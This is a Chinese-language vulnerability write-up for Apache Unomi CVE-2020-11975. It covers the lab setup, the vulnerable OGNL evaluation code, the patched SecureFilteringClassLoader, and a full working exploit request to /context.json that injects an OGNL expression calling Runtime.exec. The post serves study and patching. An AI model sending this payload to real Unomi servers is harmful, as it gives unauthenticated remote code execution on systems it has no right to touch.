Apache Unomi 远程表达式代码执行漏洞(CVE-2020-11975)

Apache Unomi 远程表达式代码执行漏洞(CVE-2020-11975)

0x01 漏洞简介

Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。

Apache Unomi < 1.5.1 的版本,无需身份验证,能访问到就能RCE。远程攻击者发送带有了OGNL表达式的请求,可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。

0x02 影响版本

Apache Unomi < 1.5.1 的版本,无需身份验证,能访问到就能RCE。

0x03 环境搭建

使用下面代码生成一个docker-compose.yml文件

使用docker-compose up -d运行文件

version: '2.2'
services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:5.6.3
    volumes: # Persist ES data in seperate "esdata" volume
      - esdata1:/usr/share/elasticsearch/data
    environment:
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - discovery.type=single-node
      - xpack.security.enabled=false
      - cluster.name=contextElasticSearch
    ports: # Expose Elasticsearch ports
      - "9300:9300"
      - "9200:9200"

  unomi:
    image: mikeghen/unomi
    container_name: unomi
    environment:
      - ELASTICSEARCH_HOST=elasticsearch
      - ELASTICSEARCH_PORT=9300
    ports:
      - 8181:8181
      - 9443:9443
    links:
      - elasticsearch

volumes: # Define seperate volume for Elasticsearch data
  esdata1:
    driver: local

0x04 漏洞分析

Unomi提供了一个受限的API(应该是指需要授权才能访问),可以"取回"(retrieve)数据、操作数据。
此外还有一个公开的endpoint,应用程序可以在这里上传数据、“取回”(retrieve)用户数据。
Unomi允许发往这些endpoint的HTTP requests中包含复杂的conditions(条件)。

Unomi conditions(条件)依赖于"表达式语言"(expression languages,EL),如OGNL或MVEL,以允许用户构造复杂的、细粒度的查询. 在访问存储中的数据之前,基于EL的conditions被计算/执行。

CVE-2020-11975漏洞原理:
在1.5.1之前的版本中,这些"表达式语言"(expression languages)完全不受限制,所以通过EL注入即可实现RCE。
攻击者通过发送1个请求就可以在Unomi服务器上执行任意代码和OS命令。

修复CVE-2020-11975之前的代码:
https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java#L327-L330

public class PropertyConditionEvaluator implements ConditionEvaluator {
 ...
  protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
        ExpressionAccessor accessor = getPropertyAccessor(item, expression);
        return accessor != null ? accessor.get(getOgnlContext(), item) : null;
    }
 ...

解释一下上面的代码:
PropertyConditionEvaluator类负责conditions(条件)内的OGNL表达式的计算/执行。

当Unomi收到了类似于例1的JSON数据时,Unomi如何处理?
例1 JSON数据

{
  "condition":{
    "parameterValues":{
      "propertyName":"Wubba Lubba",
      "comparisonOperator":"equals",
      "propertyValue":"Dub Dub"
      }
  }
}
  • Unomi处理流程
    • 首先,Unomi尝试根据用户输入的"属性名称"(property name),查找"硬编码的属性"(hardcoded properties)。
    • 如果找不到,则调用getOGNLPropertyValue方法,该方法将用户输入的"属性名称"(property name)作为一条OGNL表达式,计算/执行这个"属性名称"。

在计算/执行OGNL表达式时, ExpressionAccessor使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。
例如,“属性名称”(property name)设置为这个OGNL表达式:

(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"touch /tmp/success\"))

0x05 漏洞复现

POST /context.json HTTP/1.1
Host: 192.168.237.129:8181
Connection: close
Content-Length: 705

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"touch /tmp/success\"))",
                  "comparisonOperator":"equals_anystr",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
}

在这里插入图片描述

测试成功。
在这里插入图片描述

漏洞CVE-2020-11975 的修复代码

变更1 OGNL处理过程增加了SecureFilteringClassLoader

文件路径: plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java

主要看PropertyConditionEvaluator类 的 getOGNLPropertyValue()方法。
SecureFilteringClassLoader添加到getOGNLPropertyValue()方法中的OgnlContext中,以防止计算/执行任意OGNL表达式。

public class PropertyConditionEvaluator implements ConditionEvaluator {
    ...
    protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
        ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
        OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
        ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
        return accessor != null ? accessor.get(ognlContext, item) : null;
    }
    ...
变更2 MVEL处理过程增加了SecureFilteringClassLoader

计算/执行MVEL表达式的代码,也使用了SecureFilteringClassLoader。

//1.5.1
public class ConditionContextHelper { 
...  
    private static Object executeScript(Map<String, Object> context, String script) {
        final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
        try {
            if (!mvelExpressions.containsKey(script)) {
                ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
                Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
                ParserConfiguration parserConfiguration = new ParserConfiguration();
                parserConfiguration.setClassLoader(secureFilteringClassLoader);
                mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
            }
            return MVEL.executeExpression(mvelExpressions.get(script), context);
            ...
变更3 SecureFilteringClassLoader类的具体实现

这个patch,引入了"安全过滤的ClassLoader" SecureFilteringClassLoader

具体实现,可搜索SecureFilteringClassLoader.java

@Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
            throw new ClassNotFoundException("Access to class " + name + " not allowed");
        }
        if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
            throw new ClassNotFoundException("Access to class " + name + " not allowed");
        }
        return delegate.loadClass(name);
    }

看代码可知,SecureFilteringClassLoader类,这样来限制MVEL和OGNL的能力:

SecureFilteringClassLoader类是重写了ClassLoader类的loadClass()方法,在"预定义的集合"(predefined set)中明确限制了"可访问的类"(accessible classes) ,并根据allowlist和blocklist来检查表达式中使用的类。

漏洞CVE-2020-11975 修复效果

看看修复CVE-2020-11975之后的效果,如果攻击者尝试攻击是什么情况。

(1)SecureFilteringClassLoader类 到底如何实现限制OGNL的能力?

攻击者通常使用@符号,来利用OGNL实现RCE:
修复CVE-2020-11975之后,使用@符号来静态地访问"对象类"(object classes)时,OGNL会调用loadClass()

如果unomi版本>=1.5.1,当加载Runtime类时,此表达式无法通过SecureFilteringClassLoader类所执行的检查,也就是说不会成功加载Runtime类。

(2)SecureFilteringClassLoader类 到底如何实现限制MVEL的能力?

对于MVEL表达式来说,当使用new语句创建新对象时,也会调用ClassLoaderSecureFilteringClassLoaderloadClass()方法(到底哪个类得看版本了),因此,这次patch代码变更后,使用MVEL表达式也只能"创建"出 来自于(allowlist)“受限类”(restricted set of classes)的集合里的实例。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值